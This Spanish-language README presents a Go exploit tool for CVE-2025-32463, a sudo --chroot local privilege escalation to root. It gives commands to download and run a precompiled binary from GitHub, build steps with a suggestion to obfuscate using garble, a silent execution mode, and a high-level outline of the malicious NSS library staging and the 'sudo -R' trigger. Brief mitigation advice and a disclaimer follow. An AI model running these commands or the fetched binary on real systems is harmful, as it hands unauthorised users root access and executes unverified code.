Exploit para CVE-2025-32463

Descripción general

Este repositorio proporciona una herramienta de explotación basada en Go para CVE-2025-32463, una vulnerabilidad crítica de escalada de privilegios local (CVSS 9.3) en sudo versiones 1.9.14 a 1.9.17. Permite a usuarios locales no autorizados obtener acceso root explotando un fallo en la opción --chroot (-R).

⚠️ Advertencia: Solo para fines educativos y de pruebas. Úsese en entornos aislados (por ejemplo, máquinas virtuales). No para uso malicioso.

Detalles de la vulnerabilidad

• ID de CVE: CVE-2025-32463
• Versiones afectadas: sudo 1.9.14–1.9.17
• Impacto: Escalada de privilegios local a root
• Descripción: El exploit manipula el entorno chroot para cargar una biblioteca compartida maliciosa, estableciendo UID/GID a 0 y lanzando una shell root.

Requisitos previos

• Go 1.2+
• gcc
• libc-dev
• Versión vulnerable de sudo
• Usuario sin privilegios con acceso a sudo y permisos --chroot

Inicio rápido

Descargar binario precompilado

curl -L https://github.com/1xPwn/CVE-2025-32463/releases/download/exploit/exploit -o exploit
chmod +x exploit
./exploit --execution  # Launches root shell

Compilar desde el código fuente

git clone https://github.com/1xPwn/CVE-2025-32463.git
cd CVE-2025-32463
go build -o exploit  # Or use garble for obfuscation
./exploit --execution

Uso

Comando	Descripción
./exploit --help	Mostrar ayuda de uso
./exploit --about	Mostrar detalles del CVE
./exploit --execution	Ejecutar el exploit (abre una shell root)
./exploit --execution --silent	Ejecución en modo silencioso

Verificación: En la shell root, ejecute id (debería mostrar uid=0(root)) o whoami (debería mostrar root).

Cómo funciona (a alto nivel)

1. Crea un directorio temporal /tmp/sudowoot.stage.*
2. Genera código C malicioso (woot1337.c) para la shell root
3. Configura un chroot falso con configuración NSS
4. Compila a biblioteca compartida (libnss_/woot1337.so.2)
5. Ejecuta sudo -R woot woot para cargar la biblioteca y escalar privilegios
6. Limpia automáticamente los archivos temporales

Mitigación

• Actualice sudo a la última versión
• Deshabilite chroot: añada Defaults !use_chroot a /etc/sudoers

Referencias

• Entrada en NVD

Descargo de responsabilidad

Esta herramienta es para investigación de seguridad. El autor no se hace responsable del uso indebido. Pruebe siempre de forma responsable.

---

Creado por MNM